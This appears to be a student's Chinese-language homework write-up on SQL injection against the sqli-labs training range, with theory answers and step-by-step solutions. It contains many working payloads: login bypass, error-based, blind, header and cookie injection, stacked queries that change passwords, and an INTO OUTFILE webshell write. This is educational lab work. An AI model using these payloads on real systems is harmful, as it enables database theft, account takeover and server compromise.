web安全作业之SQL注入2
需要掌握的知识
- POST提交与Get提交方法的区别
- Mysql POST注入(POST Union注入、POST报错注入、POST盲注、POST报头注入)
- Mysql注入文件上传
- 堆叠注入
- 二次注入
- http协议请求报文
- 理解PHP中定义的以下预定义变量:
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了$_POST (获取POST传参)$_GET (获取GET的传参)$_COOKIE (获取COOKIE的值)$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组),功能强大。$_SERVER['HTTP_HOST'] 请求头信息中的Host内容,获取当前域名。$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作系统等信息。$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip。
理论作业
- 请描述POST提交与Get提交的区别?
- 请描述万能密码的原理?
- 请分别描述http报送中的User-Agent、Referer字段的含义?
- 请描述Cookie注入的原理?
- 请简述MySQL写入WebShell的必备条件与方法?
- 请描述堆叠注入与二次注入的原理?
1.区别:
1. Get提交可以被缓存,Post不会
2. Get提交参数会保留在浏览器的历史记录里,Post提交不会
3. Get提交可以被收藏为书签,post不会
4. Get提交有长度限制,最长2048个字符,Post提交没有长度要求,不是只允许使用ASCII字符,还可以使用二进制数据
5. post提交比Get提交更安全
2.uname=admin' or 1=1#(万能密码)
原理:#可以注释后面的password,然后or 1=1使得输入任何字符,结果都为真,因此称作万能密码
3.User-Agent(UA):即用户代理,内容是浏览器及版本信息,电脑信息等。常见用途是限制打开软件,浏览器及上网行为管理等。
Referer:即HTTPReferer,是头部信息header的一部分,告诉服务器该网页是从哪个页面链接过来的,该服务器因此可以获得一些信息用于处理
4.cookie注入原理为:利用头部信息中的cookie而发起的注入攻击,从本质上讲,与传统的SQL注入并无不同,只是表现形式上略有差别罢了。
当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,Cookie注入就产生了。
5.想要成功向MySQL写入WebShell需要至少满足以下4个条件:A.数据库的当前用户为ROOT或拥有FILE权限;B.知道网站目录的绝对路径;C.PHP的GPC参数为off状态;D.MySQL中的secure_file_priv参数不能为NULL状态。
P.S:@@basedir()是安装MYSQL的安装路径 ,@@datadir()是安装MYSQL的数据文件路径,可以结合联合查询来获取绝对路径
写入方法:A.使用outfile方法B.基于log日志写入
6.
堆叠注入原理:一堆SQL语句一起执行。在;结束后继续构造下一条语句,前提是利用<font color=red>mysqli_multi_query()函数</font>才支持多条sql语句同时执行二次注入原理:攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
实践作业
任务1:http://localhost/sqli/Less-13/
任务2:http://localhost/sqli/Less-15/
任务3:http://localhost/sqli/Less-18/
任务4:http://localhost/sqli/Less-19/
任务5:http://localhost/sqli/Less-20
任务6:使用outfile和log日志写入的方法对http://localhost/sqli/Less-7进入SQL注入
任务7:堆叠注入实验
【sqli-labs】 less38 GET -Stacked Query Injection -String based (GET型堆叠查询字符型注入)
【sqli-labs】 less39 GET -Stacked Query Injection -Intiger based (GET型堆叠查询整型注入)
【sqli-labs】Less-42
【sqli-labs】Less-44
【sqli-labs】Less-45
任务8:二次注入实验【sqli-labs】Less-24
任务一 :LESS-13 single quotes-string-with twist
1.首先输入admin' 111判断注入闭合方式为')
2.这里使用万能密码直接过
3.开始猜字段数
4.利用报错信息报数据库名
admin') union select count(),concat_ws('_',(select database()),floor(rand(0)2)) as a from information_schema.tables group by a#
5.当然也可以在username中输入以下报错方式
admin') union select extractvalue(1,concat(1,(select database())))#
admin') and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),2)#
6.之后爆字段名和数据和前面的操作差不多
admin') union select count(),concat_ws('_',(select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),floor(rand(0)2)) as a from information_schema.tables group by a#
admin') union select count(),concat_ws('_',(select username from security.users limit 0,1),floor(rand(0)2)) as a from information_schema.tables group by a#
任务二:LESS-15 Blind-Boolian/time Based-single quotes
1.post盲注,先抓个包发给重发器,然后进行修改
2.输入adm' or 1= 1#后页面正常,= 2就显示错误,首先考虑用布尔盲注试试,判断数据库长度
uname=adm' or length((select database()))>=8#&passwd=123&submit=Submit
3.uname=adm' or ascii((select substr(database(),1,1)))>=115#&passwd=123&submit=Submit
可以使用burp suite爆破uname=adm' or (select substr(database(),1,1))='s'#&passwd=123&submit=Submit
4.uname=adm' or (select substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))='e'#&passwd=123&submit=Submit
5.之后就如出一辙,按顺序爆字段和数据即可
uname=adm' or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'#&passwd=123&submit=Submit
uname=adm' or substr((select username from security.users limit 0,1),1,1)='d'#&passwd=123&submit=Submit
任务三:LESS-18 Header injection-Uagent field -Error based
1.该题使用万能密码admin' or 1=1#无法登陆,但出现了IP地址,所以尝试报头注入
2.首先输入admin1,admin1登录成功,抓包并发送到repeater,然后删除UA的内容,输入a'判断是否有注入,出现错误信息,做报错注入
3.修改UA为:' or updatexml(1,concat('~',(select database())),2),3)#
4.之后就是爆表,爆字段和数据,以此类推
123' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),2),3)#
123' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2),3)#
任务四:LESS-19 Header injection-Referer field-Error based
1.首先admin1,admin1登录成功看到页面有referer的信息
2.接着在referer处,输入’覆盖原有内容,会报错,因此可知用报错注入
3.构造' or extractvalue(1,concat(0x7e,(select database()))),2)#爆库名
这里要注意和less-18一样后面要有,2),因为其构造原理为:
代码中获取referer的语句:
INSERT INTO 'security‘.'referers'('referer','ip_address') VALUES ('$referer','$IP')
修改语句如:INSERT INTO ’security‘.'referers'('referer','ip_address') VALUES (1,2)
在1的位置构造语句:’ or extractvalue(1,concat('#',(select database()))),2)#
4.之后爆表名等和之前操作差不多,在此不做过多赘述
' or extractvalue(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema="security"))),2)#
' or extractvalue(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))),2)#
' or extractvalue(1,concat('#',(select group_concat(username,'~',password) from security.users))),2)#
任务五:LESS-20 Cookie injection-Uagent field-Error based
1.首先输入admin1,admin1登录抓包,发给repeater
2.在cookie处令uname=admin'出现错误回显,再加上 ' and 1=1#就正常,1=2就错误
3.由上面可知存在sql注入,用order by爆字段数与显示位,可知字段数为3
4.爆数据库名和表名
uname=-1' union select 1,(select database()),3#
uname=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3#
5.接下来爆字段名和数据,方法和上面一样
任务六:使用outfile和log日志写入对Less-7注入
1.首先前提是mysql有读写文件的权限,即secure_file_priv的值为''
2.然后判断闭合方式,'单引号出现异常,"双引号页面正常,可知有一个引号,然后' and 1=1--+又是错误的,说明还有其他的,试试 ')和'))可知闭合方式为')),接着猜测字段数为3(id=1')) group by 3--+)
3.然后写入一句话木马
id=1')) union select 1,2,"" into outfile "C:\\phpshootingrange\\PHPTutorial\\WWW\\a.php"--+
4.使用webshell工具连接一句话木马即可,这里使用中国菜刀
此题也可用sqlmap爆库,python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-7/?id=1" --current-db
任务7:堆叠注入实验
LESS-38 GET -Stacked Query Injection -String based
1.首先确定闭合方式为单引号字符,然后判断字段数,使用联合查询
id=1' order by 3--+
2.获取数据库,表名和字段
id=-1' union select 1,(select database()),3--+
id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+
id=-1' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) --+
3.进行堆叠注入判断
id=-1';create database aaa--+
id=-1' union select 1,(select schema_name from information_schema.schemata where schema_name='aaa'),3--+
4.利用增删改语句修改数据库中的数据
id=1';insert into users (id,username,password) value('20','spiderman','996')--+
5.然后查询数据是否插入成功
LESS-39 GET -Stacked Query Injection -Intiger based
1.首先还是判断闭合方式为整型,然后字段数为3,使用联合查询得到库名,表名,字段和数据等
id=-1 union select 1,(select database()),3--+
id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+
id=-1 and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) --+
2.判断是否有堆叠注入
id=-1;create database aaa--+
id=-1 union select 1,(select schema_name from information_schema.schemata where schema_name='aaa'),3--+
3.最后添加或者修改数据即可
id=1;update users set password='886' where id='20'--+
4.查询数据看是否成功
LESS-42 POST-Error based-string-stacked
1.首先判断注入点,输入admin'探测无显示,但是密码输入1'却显示错误,输入1'#无错误显示,说明密码处有SQL注入
2.在密码处输入1' order by 4#显示错误,所以字段数为3
3.密码输入1' union select 1,2,3# 以此来显示回显
4.接着在密码处联合查询爆库,表,字段和数据,和之前一样
-1' union select 1,(select database()),3#
-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3#
-1' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3)#
5.判断是否有堆叠注入
1';create database bbb#
-1' union select 1,(select schema_name from information_schema.schemata where schema_name='bbb'),3#
6.之后增删改数据即可
1';update users set password='123456' where id=8#
然后用admin,123456登录进去即可
LESS-44 POST-Error based-string-stacked-blind
1.首先判断闭合方式,在密码处输入1' or 1=1#登陆成功,所以闭合方式为',且输入'无明显错误回显,存在布尔盲注
2.输入1' or 1=1;create database ccc;
1' or (select schema_name from information_schema.schemata where schema_name='ccc')='ccc'#
可知存在堆叠注入
3.进行布尔盲注爆库,表,字段和数据,可以bp抓包进行爆破
1' or substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u'#
其他的操作类似
4.最后使用增删改查数据即可
1' or 1=1;update users set password='555' where id='20'#
输入spiderman,555登陆即可
LESS-45 POST-Error based-string-stacked-blind
1.这个题和44一样,只是闭合方式为'),将上题的操作稍作修改即可,在此不做过多赘述
任务八:二次注入(LESS-24)
1.这题知道admin,但是不知道密码,首先注册一个用户为admin'#
点击new user click here?
2.然后使用admin'#用户登录,并修改密码为654321
使用admin,654321再次登录
3.登陆成功
4.其原理为在修改密码,
此时代码为:
update users set password='new_pass' where username='admin'#'and password='123456'
实际上执行的代码为:
update users set password='new_pass'where username='admin'